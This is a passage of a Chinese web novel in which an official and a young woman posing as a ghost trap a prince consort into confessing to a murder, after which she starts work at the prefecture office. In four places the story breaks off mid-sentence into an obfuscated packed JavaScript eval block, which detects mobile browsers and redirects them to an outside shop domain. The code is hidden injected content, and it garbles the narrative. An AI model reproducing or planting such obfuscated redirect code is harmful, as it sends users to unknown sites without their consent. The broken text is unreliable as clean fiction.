想到这里,宋悠然脸上不由变色:“倘若是我陷害驸马,更该教驸马与三妹相见。案发那天,驸马不是也在白云观吗?” “咦,还有这样的内情?”崔琰颇为诧异,“我只知宋三小姐走丢了,却不知那一日她死在了观里。” 这种事只有凶手才知道。 温女萝轻叹一声,这个崔琰不好对付。 沈京墨的眸色沉下来,抬手朝身后招了招。 薛岳捧着个托盘上前:“驸马爷瞧瞧,这是不是您丢的东西?” 不像先前刻意表现出来的伪装,崔琰这会儿真的十分诧异,伸手拣起盘中的纽扣,细细地看了一阵又放回去:“这等小物,公主府自有下人替我操心,我瞧不出究竟。” “无妨。”沈京墨从公案上拿起一本册子,打开来逐字念给他听,“孝元十五年,正月十六,内务府奉坤宁宫口谕,制宝蓝色梅花暗纹圆领袍一件,缂丝用料三尺,雕骨镂空云龙纹纽扣两枚……” 册子是他拜托孟沅从宫里弄出来的。 孟沅的祖母——慈仪大长公主,是太上皇的孪生姐姐,当今圣上的亲姑姑。皇太后去得早,圣上由大长公主一手带大。爱屋及乌,孟沅深受孝元帝和王皇后喜爱,自幼出入宫廷,与皇子公主们一起长大,内务府不敢轻易得罪。 “这类纽扣内务府一共制有十枚,其中八枚入了乾清宫。”沈京墨冷声询问,“驸马以为,圣上与本案有关?” 崔琰的脸色顿时难看了,原本游刃有余的自信,显露出些许僵硬来。 沈京墨微微一笑,乌黑的眼眸深不见底:“驸马再仔细瞧瞧,到底是不是你的东西?” 崔琰沉吟良久,才望着他徐徐开口:“纽扣微小易落,那天我也去了白云观,说不准正是凶手捡了我的扣子,借着机会栽赃我。” 沈京墨作出总结:“哦,按照驸马的意思,二月二十八那天,驸马身上穿的,正是缝着这枚扣子的圆领袍。本官的说法可有误?” 崔琰怔住,似乎意识到自己说错了话。 “没有。”他不情不愿地回答。 沈京墨乘胜追击:“本官从未说过,这枚扣子与凶手有关。驸马为何有此想法?” 这个问题不难解释。崔琰听后嗤笑一声:“沈大人。莫非今日审理的不是杀人案,而是纽扣丢失案?” “驸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486315|202027||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 马所言有理。”沈京墨的神情更加威严,漆黑的眼始终定在崔琰身上,“便请驸马解释一下,为何你的纽扣会出现在宋三小姐的胃里?” 听见这话,温女萝再次想要干呕。 她好不容易控制住自己,却见宋老夫人双颊泛白呼吸急促,气得全身发抖:“是你,当真是你!” 太阳穴处的青筋突突跳动,崔琰豁然起身,板着一张脸道:“区区一枚纽扣,需要解释什么?沈大人,我今日是来配合官府办案,不是被你拿来当犯人审问!崔某还有事,先走一步。” 话毕,他抬脚就要往外走。 宋老夫人急急忙忙拄着拐棍上前,嘴上不停念叨:“没有还安安一个公道,你不能走……” 见状,温女萝眼前一亮,振臂高呼:“王子犯法与庶民同罪,杀人偿命,天经地义!” “对!杀人偿命,天经地义。” “杀人偿命!” “杀人偿命!” …… 一时之间群情激愤,长安百姓纷纷将门口堵住,不许崔琰走出公堂。 沈京墨一个眼色,薛岳立刻领悟,殷勤地凑上前:“驸马爷,这边请。” 眼看堂外百姓有扑过来的趋势,崔琰匆匆掉头,跟着薛岳从大堂后门穿过。 移步至后院,明显安静了许多。二堂高挂“退思”匾,东西跨院门房紧闭,中庭一棵大槐树,主干有水桶那么粗,底下放着一副担架。凉风徐徐吹过,白布向上飘起,露出一具辨认不清容貌的尸体。 崔琰吓出一身冷汗:“这是何人?为什么摆在这里?” 薛岳早已不见踪影。 却是沈京墨,突然从他身后冒出来,声音幽幽地说:“驸马莫怕,这是宋三小姐。案子已经查清,尸体自然要交还本家。你瞧,寿衣都穿好了。” 目光草草扫过,宋安然果然穿着一身莲青色的绸缎寿衣,崔琰强自保持镇定:“沈大人这是什么意思?” 沈京墨笑了笑,拱手朝他赔礼:“我奉皇命审理此案,陛下说谁是凶手,谁便是凶手。适才多有得罪,还望驸马海涵。” “好说好说。”分明阳春三月,崔琰只觉此间冰冷异常,一边往前寻找出口,一边继续试探,“是我毁约在先,有负宋大小姐。如果她当真杀害亲妹,还请大人从轻发落。” “胆敢攀扯皇家,死不足惜。”沈京墨意味深长地瞧了崔琰一眼,似笑非笑道,“论辈分,德安公主是我表妹。莫非崔兄当真三心二意?” 听见他的称呼,崔琰顿时松了一口气:“我与公主琴瑟和弦,沈兄大可放心。” 这话倒是不假,他们夫妻感情和睦,只要德安公主愿意保他,小小庶女又算什么。思及此,崔琰心情大好,桃花眼里尽是志得意满。 眼看就要穿过二堂,围墙后突然传来女孩子的笑声。 清脆悦耳,宛如银铃。 沈京墨恍若未闻,往里走了几步,才回转过身,问:“崔兄这是怎么了?” 崔琰仿佛被施了定身法,笔直地站在穿堂门槛之上,眼睛死死盯着东南方,一动不动。 沈京墨循着视线一望,原来是个少女,身量不高,身段窈窕,披了件浅黄色绣白梨花的披风,站在梅树下。院角那棵梅树挂满了青色果子,把枝条压得弯下来。少女背对着他们,像是在摘果子。 倏尔,她转过身来,上头桃红色春衫,下头松花色裙子,细眉大眼,圆鼻樱唇,赫然就是宋安然的模样! 8. 008 温女萝站在梅树下,乌黑的头发梳成垂髫分肖髻,插着一支水晶莲花步摇。步摇轻轻晃动,她翘起肉粉粉的小指头,娇滴滴地开口:“这青梅子翠绿可爱,既能酿酒,又可制酱,我摘了它们送给大姐姐,还有——” 温女萝美眸流转,笑着看向崔琰,将青梅抛却,小手儿一招,道:“你过来,我请你吃梅子。” 崔琰失了魂似的,两股战战,扑通一声跪下来:“不是我,我没有我没有……” 温女萝顿时没了笑,脸上阴沉沉的,朝着崔琰慢行而来,一步接着一步,走过的地方留下两行湿漉漉的脚印。 “崔琰,你为何害我性命?”她的声音猛然拔高,喊得小院回声阵阵。 崔琰拼命摇头,张了张嘴正要说些什么,三堂里突然蹦出来一个人影,同样身穿桃红春衫,同样头戴水晶莲花步摇。 不一样的是,这位“宋安然”没有穿披风,而且作的是死后打扮。面上布满尸斑,身上缠绕水草,双臂往前伸直,双脚同时跳动,就像传说中的僵尸。 她一蹦一蹦地朝着崔琰而去,口中不停喃喃:“我死得好惨呐,还我命来!” 一个人,如何变成两只鬼? 崔琰愤然起身,显然看穿了这点糊弄人的小把戏。他仿佛受到羞辱一般,大吼道:“沈京墨!手段如此低级,当真是下作!崔某要向圣上谏言,夺了你的少尹之位。” 温女萝又气又急,瞪着沈京墨的眼睛更大了。 还差一点,只差一点,就能得到崔琰的证词。净给她添乱! 僵尸“宋安然”似乎搞不清楚状况,仍旧蹦到崔琰跟前,继续装模作样:“我是宋安然。我诈尸了,来找你索命。” 她摆出狰狞扭曲的表情,乌紫发黑的嘴巴张开,发出一声可爱的嘶吼:“嗷呜——” 崔琰无语至极,竟是笑了:“沈大人不解释一下吗?” 沈京墨彻底不装了,毫不留情地质问:“不做亏心事,不怕鬼敲门。驸马既然不认识宋三小姐,为何方才又是下跪又是求饶?” 崔琰抬头挺胸,面上不见半点慌乱:“就凭她穿的那身衣裳,崔某会怕也不稀奇。” 沈京墨轻轻笑了笑,看他的眼神略有不屑:“噢,堂堂驸马,竟然害怕女子的衣裳?” 崔琰冷哼:“宋三小姐那天穿的就是——” 话说到一半,忽的停顿住。 官府未结案前,相关细节不允许随意披露。坊间虽然流言纷纷,但并未提及宋安然的穿衣打扮。 除非,亲眼目睹。 沈京墨容色不改:“驸马还要狡辩吗?” 恰在此时,三堂内传来一阵鼓掌声,紧接着响起由远及近的脚步声。 崔琰瞧见来人,立马跪倒在地。 温女萝被勾起了好奇心,站在院子里朝里张望,随即袖子一沉,被沈京墨拉着跪了下去,同时听见他道:“臣叩见陛下。” 孝元帝大步走出三堂,一边抬手示意免礼,一边径直走到温女萝跟前,冲她含笑点头:“你扮得很好,朕险些信以为真。” “多谢陛下夸赞。”温女萝低着头轻声回话,眼角却在偷偷打量。虽然是沈大头的表舅,但孝元帝看起来不过三十多岁,穿着一身宝蓝色常服,英俊挺拔,气宇轩昂,眉目间与沈大头有两分相似。 嗓音轻清柔美,一听就是个美人,再瞧她的身段,不堪一握的细腰,一只手握不住的玲珑,以及顾盼间流露出的娇媚……孝元帝便是看腻了美人,也不禁柔了心肠:“你叫什么名字?” “岑合欢。”沈京墨两步上前,将温女萝挡在身后,“回陛下,她姓岑,复名合欢,是京兆府正在通缉的案犯。” 温女萝立即皱起眉头,却也没有反驳,算是默认了他的话。 “噢。”孝元帝瞬间失去兴趣。 僵尸“宋安然”一蹦一跳地上前,站在旁边欢快提醒:“舅舅,你不是要找岑娘子吗?岑合欢,岑娘子,就是她。” 这一声“舅舅”喊出口,温女萝马上猜到她的身份。孟沅,既是皇亲国戚,又是侯府千金,同时也是南瓜坊的常客。 “招摇撞骗,实不可信。”沈京墨毫不客气地拆台,“不过宵小之辈,陛下不必将她放在心上。” 一听这话,温女萝不高兴了,伸手推开沈京墨,对上孝元帝的视线,还抬了抬下巴,表示自己理直气壮:“我能在长安城声名鹊起,靠的全是自己的本事。沈大人对占卜心存偏见,说出来的话难免有失公允。” 孝元帝笑道:“如此,你便为朕算上一卦。” 温女萝暗里翻了个白眼,算卦去找算命先生啊,她又不会看卦象。 当然,她只敢在心底吐槽,面上仍是恭恭敬敬。 沈京墨跟在孝元帝身后,与温女萝并肩走进三堂,跨过门槛时,飞快说了一句:“收敛点。” 温女萝把头一扭,当作没听见。她在案前站定,从袖中掏出一副塔罗牌,牌面朝下,右手画圆,开出一个完美的扇形:“陛下想问什么?” 为了以防万一,又不放心地加上一句:“必须要有明确的问题。” 孝元帝犹豫片刻,欲言又止地道:“朕想问一个人。” 话音刚落,温女萝的眼皮跳了跳,总觉得这一幕似曾相识。 “请抽牌,六张。”她继续道。 孝元帝抬手抽出一张,然后就没有然后了。 温女萝瞥一眼沈京墨,又瞧一眼孝元帝,就这如出一辙的行事风格,该不会是失散多年的父子吧。 “权杖女皇的正位。陛下想问的这个人,是名女子。她热情独立,精力充沛,向往一生一世一双人,喜欢追寻自由,喜欢到处走走,或许此刻正在四处游历。她交游广阔,人缘很好,陛下不必为她担心。” 孝元帝听完不置可否:“有生之年,朕与她还能相见吗?” “能量不够,请陛下再抽牌。”温女萝低着头,等待皇帝的下一步动作。 沈京墨微微转过眼睛,看见女孩子认真的侧脸。她的容貌虽经刻意掩饰,却遮不住原本的五官,睫毛纤长浓密,轻颤时宛若蝴蝶扇动翅膀,眼睛似水洗过的葡萄,瞳仁黑亮,鼻尖圆润,小嘴微微张着,仿佛随时准备出言。 孝元帝抽出一张星星牌。 温女萝迅速解读:“星星高悬夜空,可望而不可及,象征遥远的思念,说明那人很想念陛下。星星又代表希望,这张牌处于逆位,说明陛下心中所想不会实现。” 占卜的结果让孝元帝陷入了沉默。 像她那样的女子,不管在哪都能开出绚烂的花,而自己终究不能舍弃皇位。 也罢,相见不如怀念。 说中了!温女萝暗喜,开始盘算着该收多少钱。 孝元帝“嗯”了一声,却是果断地摇了摇头:“算的不准,朕不给钱。” 温女萝呆若木鸡。 孝元帝瞥她一眼,转身施施然离开。 待他走远,温女萝哼了一声,拉着沈京墨一阵抱怨:“他是不是皇帝啊,怎么能这样小气?我要告他逃单,沈大人去帮我把钱要回来……” 沈京墨垂下眼眸,看见一双白玉般的小手扯着他的衣袖,薄唇微扬,浮起一抹温和笑意。 “岑合欢。”他抬起头头,唇边笑意隐没,神情冷淡至极,“明日来京兆府报到。” 温女萝愣了愣,不明白他在说什么。倏尔,心头一个激灵,迅速从袖子里掏出三千 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“沈京墨!”秦雅颂鼓起腮帮子,怒道,“你查你的案,我验我的尸,咱们井水不犯河水,你干嘛总跟我过不去!” 沈大头黑心烂肝,秦女巫疯癫狂妄。温女萝攥紧了拳头,在心中暗暗期待,打起来,打起来! 余光瞥见女孩子一脸看好戏的模样,沈京墨眉头轻皱,说话更加不留情面:“秦雅颂,本官是陛下亲自任命的京兆府少尹,你若不服,大可去都察院告状。”话毕抬脚便走,行至屋廊下,又回头斜了秦雅颂一眼,冷冷地说,“顶撞上级,罚俸一年。” 温女萝默默数了数。沈大头统共说了四句话,就有三句是扣工资的,有这样一个领导,是打工人的劫难。 出了府衙大门,百姓早已散去,马车提前等候在门外。 沈京墨抬眼望天,憋了半晌才说:“我送你回去。” “啊?”温女萝左右张望两下,怀疑自己听错,“沈大人说什么?” 沈京墨抿了一下唇,又重复一遍:“上车,我送你回去。”说着,他瞧见温女萝笑容促狭,迅速反应过来,“十七姑娘若不情愿,便自己去同温大人解释。” 语气不善,有几分恼羞成怒。 好好的官家千金要蹲三个月大牢,温老爷岂不是要气死。温女萝立时歇了逗弄的心思,乖乖掀开帘子。马车内的樱粉色软枕依然惹人注目,座椅下方铺设了一层灰紫色绒毯,毯上静静摆放一双精巧的女子绣鞋。 正纳闷之际,忽听身后有人说:“这绒毯来自波斯,如果弄脏了,十七姑娘赔不起。” 温女萝为了扮相逼真,不惜打湿鞋袜,此时脚下正难受着。有便宜不占是傻子,她几乎没有多少犹豫,回眸甜甜一笑:“先前说大人不适合查案,现在我收回这句话。 “沈大人,你是个好官。” 女孩子眸光闪亮,比漫天星辰还要璀璨耀眼。 一霎儿,沈京墨红了耳朵尖。 9. 009 第二天一早,天还没亮,温女萝就被冯姨娘吵醒。 “我儿出息了。”冯姨娘一边哭哭唧唧,一边伸手掀开被子,“今日是第一日,千万不能迟到。” 温女萝揉揉眼睛:“现在几点?” 听见这话,冯姨娘有些不知所措,幸而官绿习以为常,连忙接口:“姑娘,刚刚卯时。” 那不是……凌晨五点钟! 温女萝骂骂咧咧,继续蒙头大睡。 冯姨娘推了推被褥,见她没什么反应,眼眶立时湿润,声音又有些哽咽:“阿萝,今日要去京兆府,不可任性……” 听得“京兆府”三个字,起床气瞬间消失,温女萝一骨碌爬起来,洗漱梳妆之后,随手收拾了几件衣裳就要去坐牢。 许嬷嬷拉住她:“姑娘稍等,吃了早饭再走。” 闻言,温女萝眉心紧锁,自打穿越到这具身体,就没吃过一次正经早饭。 阖府上下,除了温老爷和陶氏院里,其余院落都没有小厨房,只能吃大厨房的份例。大厨房离得远,送过来冷菜冷饭也就罢了,偏生那些人欺负冯姨娘不得宠,给的东西压根不能吃。 刚穿过来的时候,温女萝很不适应,偷偷在院子里垒灶开火。前后不过半个时辰,立马有人向嫡母告状,所幸陶氏通情达理,将大厨房狠狠整治了一番。从那以后,午饭和晚饭正常供应;唯独早饭,今日一个馒头,明日一碗稀饭,问就是公中没钱,爱吃吃,不吃滚。 温女萝正想说“不吃”,一股浓郁的香气扑鼻而来,一瞥之间,再也挪不动腿。桌上竟然摆着一瓦罐酸笋鸡皮汤、一碟子豆腐皮包子、一盖碗酥酪,并两块如意糕。 许嬤嬤满脸喜气:“太太说,时间仓促,准备得不周全,姑娘拣自己爱吃的去吃。” “爱吃爱吃,都爱吃。”温女萝嚼嚼嚼,吃得心跳加速,吃得热泪盈眶,甚至吃出了断头饭的感觉。 冯姨娘站在边上,眼泪不要钱似地往下掉:“怪我不得老爷欢心,阿萝往日的吃食连猪都不吃。” 温女萝霎时没了胃口,所幸已经吃了七八饱,拍拍肚皮起身走人。 行至院外,陶氏的大丫鬟不语比划着上前。不语人如其名,天生口不能言,跟外界沟通交流要靠手语。 温女萝摇摇头,耸耸肩:“不好意思,我看不懂。” 不语拉了她的手,抬脚往前院的方向去。 温女萝随便想一想,也就明白了。昨天沈大头来了一趟温府,府里肯定会有消息。小说里那些穿越女主活得风生水起,像她这样混到要坐牢的反面教材,莫非要遭受全家批斗? 不远处,陶氏坐在水榭内,身边围了一圈庶子庶女,似乎专程等着谁。 温女萝心里一咯噔,果然如此。 陶氏穿了件家常的湖绿衣裳,手执一柄鹤鸣松风的真丝团扇,三十多岁的人了,腰肢犹如少女般纤细,肌肤白皙莹润,保养得极好。 “十七,母亲送送你。”她含笑道。 温女萝低眉垂眼,连忙口称不敢。 陶氏:“没事,只此一回。” 一颗心瞬间沉到谷底,温女萝暗自将沈大头骂了八百遍。 沈大头啊沈大头,真是叫她栽了个大跟头。 一直送到二门前,陶氏抽出一条帕子,抹了抹不存在的眼泪:“冯姨娘那里有我,你放心去罢。” 虽说往日里只是面子情,但气氛到这了,温女萝也不含糊,半真心半恳求地跪到地上,扎扎实实磕了三个响头:“母亲大恩,女儿日后必报。” 温府好歹住着五品京官,没有当家主母的允准,她哪能实现出门自由。只有冯姨娘,才傻傻地以为门房会给她面子。 当然,也是有给面子的,不过是看在银子的份上。 陶氏向来看不上冯姨娘,对她生的孩子却有两分好感,不管是早夭的鹦哥儿,还是如今的温女萝,都是活泼可爱又机灵,合了自己的脾性。反倒是亲生的温菘蓝,与冯姨娘更为投缘。 思及此,陶氏眸色暗淡,简单嘱咐了两句,便催着温女萝上马车。 为了不引人注目,温女萝平素里出府,都是悄悄走后门,就算前往武安侯府,也是本家安排车马来接。是以,这还是她穿越以来,第一回坐上自己家的马车。车里空间不大,只有并肩能坐两人的座椅和一层薄薄的软垫。沈大头要是瞧见了,肯定得挑剔死。 抱着小花包袱的双手紧了紧,温女萝打起精神:“三个月而已。眼睛一睁一闭,就过去了。” 天色阴沉沉的,马车抵达京兆府时,落起了淅淅沥沥的小雨。 温女萝提着裙摆,迈过高高的门槛,径直走向第三进院落。 迎面的二堂虽不及大堂雄伟气派,却也庄严肃穆。左右两侧各有一座别堂,左边的非非堂显然是沈京墨办公的地方,薛岳笔直地站在门外,目光时不时瞟向右边的纯忠堂,眼中带着几分期待。 温女萝稍作思考,放弃了上前打招呼的想法。 “喂!”薛岳却主动凑近了她,上下一打量,“新来的?” 比之从前,语气柔和不少。 看来是没认出自个儿,温女萝深呼一口气:“是。” “这边。”薛岳抬手指了个方向,复又亲自给她带路。 温女萝不免有些诧异。 第一回,她扮作郎君,薛岳对她毫不客气。 第二回,她扮作女鬼,薛岳避之唯恐不及。 第三回,她要来坐牢,薛岳的态度倒是变好了。 莫非,京兆府也有kpi,沈京墨也要冲业绩? 正胡思乱想着,钱名师爷拉开抽屉,从里面取出一个木制的牌子,丢过来:“管一顿午饭,凭这个去领。” 温女萝拿在手里,发现正面刻着两个小字:卯君。 子丑寅卯,看来前面还有三位狱友过来报到。想到自己不是一个人,温女萝顿感欣慰,犹豫了好一阵,终究还是问出了口。 “晚饭怎么办?” 古人讲究过午不时,可在温府一日三餐,也没见有谁不一样。 钱名师爷扫了她一眼,没有回答这个问题:“头发不合规矩,今天且先罢了,明天改好再过来。” 温女萝更迷惑了,难道坐牢需要朝九晚五? 她又问:“我还有明天吗?” “明天后天大后天,你都得来!”钱名师爷说着瞪向薛岳,语气十分不满,“沈大人招的这是什么人?脑子好使吗?能干事吗?” 薛岳立刻回怼:“沈大人的安排,何须向你解释?她一个新来的,不懂很正常。你告诉她不就完了!” 钱名师爷瞬间熄火。 没法子,谁叫人家后台硬。 “卯君姑娘。”他清了清嗓子,耐心与温女萝解释,“自今日起,你便是京兆府的记名 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486317|202027||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 捕快,为期三个月。衙门只管一顿午饭,余者自行解决。我给了你一块腰牌,稍后再去领两套衣裳,三个月之后,这些东西原样归还。” 温女萝站在那儿,瞬息之间想明白了所有的事。沈大头为何要亲自来温府解释,冯姨娘为何说她出息了,陶氏又为何亲自相送,这些问题现在终于有了答案。 因为她混上了编制! 钱名师爷努力压制住火气,皮笑肉不笑地说:“卯君姑娘,还有没有问题?” “有有有。”温女萝完全无视对方的脸色,睁着又黑又亮的大眼睛,满怀期待地问,“我月俸多少?” 钱名师爷捏了捏眉心,彻底失了脾气:“记名捕快,顾名思义,只在京兆府挂个名儿。俸禄与否,你应该去问沈大人。” 话音儿坠地,温女萝立马转身去寻沈京墨。 非非堂内,沈京墨坐在案前,正埋首写着呈文。 “沈大人沈大人沈大人沈大人,”女孩子的声音隔着老远儿就能听到,欢快的、鲜活的、生动的、可爱的,最后是讨人厌的,“我月俸多少?” 沈京墨头也不抬,声音平缓地说:“岑合欢忽染重病,你代替她来服刑,服刑之人没有俸禄。” 温女萝微微撅嘴,道:“我不是捕快吗?” “记名捕快。”前两个字,沈京墨刻意加重了语气,“京兆府大牢满员,凡徒刑一年以下者,准以役代刑。如果不想当捕快,工部那边正缺人,砌城墙、挖河沟、伐木造田,与你倒也合适。” 温女萝拿大白眼赏他。哪有让人家女孩子做这些的,果然牛马不分男女。 “沈大人这样,算不算欺上瞒下?”她问道。 嘴角闪过一丝轻蔑,沈京墨略略提高了声音:“那又怎样?” 在京兆府,她是卯君,代替岑娘子前来服役。 在温府,她接受赏识,化名卯君到衙门任职。 想要什么样的身份,不过就是一句话。有沈大头在,无人敢来质疑。温女萝转了转眼珠子,道:“同样是做事,有人尽心尽力,有人敷衍塞责,沈大人更喜欢哪一种?” 沈京墨终于抬起头,眼神示意她继续说。 “又要马儿跑,又要马儿不吃草,沈大人以为,天底下哪有这样的好事?我也不要多的。”温女萝竖起两根手指,极其大方地道,“一个月二百两,保证物超所值。” 沈京墨:“可。” “啊?”温女萝顿时就惊呆了。 本以为要费一番唇舌,早知道如此简单,该往高处喊,略一沉吟,计上心头。 “有全勤奖吗?”她问。 “全勤奖?”沈京墨不明所以,点漆般的黑眸里第一次透露出无知。 温女萝解释说:“每个月的前三天,我需要到南瓜坊坐馆,剩下的时间不请假不早退,全部留给沈大人。” “可。”沈京墨点头。 “有先进奖吗?就是我表现优异,会有额外的奖励。” “可。” “还有还有……”温女萝本想继续往上加码,却见沈京墨托腮望着她,目光一瞬不瞬,让她莫名的紧张与心慌。 男人清清淡淡道:“你家大人我,每月俸禄二百七十两。” 温女萝明白见好就收的道理,当即站直身子,举起右手,眼神坚定地朝沈京墨敬了个礼。 “我温女萝,誓死效忠金主!” 10. 010 临近午时,膳馆准时开饭。 温女萝换上了女捕快的衣裳,一身墨绿圆领袍,腰间垂着块小小的牌子,露出来的那一面刻着“京兆府”三个大字。 膳馆内坐了五六个衙役,看见她走进来,扬手热情招呼:“卯君姑娘,这边坐。” 温女萝从善如流。 这张八仙桌上已经摆好午饭,每人面前一个梅花攒盒,装了两荤三素,再加一碗汤,香味飘飘,热气腾腾。 至于口味嘛,跟大学食堂不相上下。 等到吃得差不多的时候,温女萝好奇询问:“怎么只有咱们几个?其他人呢?” 气氛微微凝滞。 几名衙役一同皱了眉,有个名叫唐天杰的年轻男子,神情古怪地说:“寅宾馆人多热闹,他们在那边吃。” “噢,这样啊。”温女萝随口应和一声,低下头继续喝汤。 升堂那日她是见过的,三班衙役合计六十余人,这还不算司户、司录、司礼等胥吏,再加上师爷、巡检和仵作,少说也有一百多人。有人的地方就有江湖,拉帮结派也是世情常态。 很明显,沈大头不怎么招人喜欢。 事实上,除了那张俊美无俦的脸,他作为一个领导,可以说是非常糟糕。 第一,双标。只许州官放火,不许百姓点灯。 第二,心胸狭窄。一句话说错,扣工资。 第三,惜字如金。给人家秦雅颂安排任务,要求也不讲清楚。 截至目前为止,温女萝总结出了这三点,关于沈大头的黑料,有待日后进一步深挖。 正思索间,唐天杰忽然站起身:“我吃饱了。” 其他人纷纷效仿,快步朝外走去。 于是沈京墨踏进膳馆的时候,只剩下温女萝一人,他在靠近窗边的一方桌案前坐定,眼角轻轻瞥了她一下,说:“你过来。” 温女萝走到他身边,狗腿地望着他笑:“大人有什么吩咐?” 沈京墨淡淡道:“本官不吃胡萝卜。” 温女萝瞬间会意,伸手取过他面前的食盒,里头菜色与自己刚才吃的一样,只是多了一道甜点。好在大师傅今天做的是胡萝卜烧牛腩,胡萝卜一块一块的,很容易择出来。 “大人请用。”温女萝弄完,殷勤地布好筷子。 沈京墨一动不动地坐在那里:“本官不吃芹菜。” 谄媚的笑脸露出一条裂缝,温女萝想了想每月二百两的牛马费,又把自己给哄好。 可以,满足你。 沈京墨终于拿起筷子,目光似有若无地拂过女孩子的手指。指尖映着阳光,泛起一层淡淡的粉色光晕,仿佛透明的琉璃一般,指甲盖一闪一闪,好看得有些不真实。 温女萝挑完芹菜,不由暗自抚额。她忙活了这么久,沈大头竟然才吃尽两口米饭,细嚼慢咽,斯文秀气,将世家公子的优雅作派演绎得淋漓尽致。要不要这么装?! 正想着,不经意间低头瞧见白瓷小碟里的红糖馅饼,心中立刻警铃大作。 “大人吃不吃芝麻?” “不吃。” 一霎儿,温女萝脸上的表情从如临大敌变成天塌了。 沈京墨勾了勾唇角,补充道:“本官不吃馅饼。” 双眸骤然闪亮,温女萝长舒一口气,掏出一块帕子,包好两块馅饼,揣进了自己怀中。 如此,一顿饭吃得惊心动魄,完事已是午正时分。 温女萝撇撇嘴,嘚,午休泡汤了。 沈京墨站起身来,淡淡瞥她一眼:“你是本官身边的人,不必受京兆府约束。以后,无事不可在我眼前晃悠,也不可走太远,耽误了公事,罚俸半年。” 温女萝:…… 统共只上三个月的班,合着还得倒贴钱! 有了他的话,温女萝开始光明正大摸鱼。 京兆府衙坐北朝南,一共四进院落。第一进是三班衙役的卫所以及关押犯人的监狱,另有膳馆和寅宾馆。第二进主要是低级官吏的办公地点,除了审案专用的大堂,东西设有两排屋子,分别是吏、户、礼、刑、工六房,另有分管文书的承发司和保存案卷的架阁库。 第三进则属于沈京墨这类级别。纯忠堂为府尹大人办公之所,东西跨院分别是钱名师爷房和刑名师爷房。长安不会每天发生凶杀案,二堂专司一般性案件,通常由师爷代为审理。 第四进供府尹大人起居使用,有内宅、花园和小厨房。京城寸土寸金,不是每个人都像沈京墨那般背景深厚。听说府尹大人出身寒门,调任京兆府之前,一直外放临安,熬了十几年才带着家眷返京。 溜达完一圈,温女萝又回到非非堂。 薛岳依旧站在门口,眼睛依旧盯着纯忠堂。 “大人可有唤我?”她问。 薛岳垂眸看向她,目光有点同情:“大人问了你三次。” 温女萝暗道不妙,猫着腰缩着脖子,蹑手蹑脚地溜进堂屋,一见沈京墨,立马凑上前去献媚:“大人吃橘子么?我专程去买来的。” 沈京墨“嗯”了一声,说:“下不为例。” 温女萝连连称是,手上剥着橘子,嘴上也不闲着:“大人有什么吩咐?” “结案文书送去承发司,相关案卷送去架阁库。此案不会再有更改,叫他们尽快整理好,移交至刑部归档。”食指点了点桌案,沈京墨又道,“通知死者家属,将宋安然的尸身领回去安葬。” 温女萝一一答应下来,趁着这会儿功夫,偷偷朝结案文书瞄了两眼。 果然,官府还是给崔琰留了脸面,将百般狡辩改成了投案自首,将故意谋杀改成了失手误杀。 既然是意外,自然不存在什么杀人动机。 温女萝看到这里,不禁想起了那天的情形,在场众人没有一个敢提及宋悠然与崔琰的奸情,还有孝元帝的突然现身……如果沈京墨没能逼出崔琰的实话,宋安然是不是就白死了? “大人。”她终于忍不住,低声问,“不叫生者蒙冤,不令死者难安。这是大人的真心话吗?” 沈京墨看也不看她,眼睛盯着橘瓣上的白丝,微微皱起眉头:“自然。” “沈大人。”温女萝笑了,笑容仿佛春日暖阳,“你是个好官。” 前世妈妈杀了爸爸,警察依法办案,法官依法审理,没有哪里不对,却也没有谁为妈妈说话。 如果,如果妈妈遇上的是沈大头,至少会得到一句安慰吧。 白丝一点一点被剥离干净,沈京墨小口小口吃着橘子,脸上露出满足的神情。他缓缓挽起衣袖,露出一截白得发光的手臂,腕上一串黑曜石,衬得那抹白犹如初雪般细腻。 温女萝一眼就认出来。因为这些珠子,都是她一颗一颗亲手打磨而成。 沈京墨似乎察觉到她的目光,抬手晃了晃腕上的黑曜石,问道:“可有什么禁忌?” 念头一闪而过,温女萝反应过来的时候,已经握住了他的手,握得紧紧的,嘴上还在不停嘀咕:“大人不是不信这些吗?这会儿怎么又信了?该不会是做了什么亏心事?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486318|202027||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>她的目光直直注视着男人,男人不甘示弱地回望。 四目相对之际,温女萝听见自己心跳急促,慌乱移开了视线。 沈京墨冷不丁问了一句:“看出什么没有?” 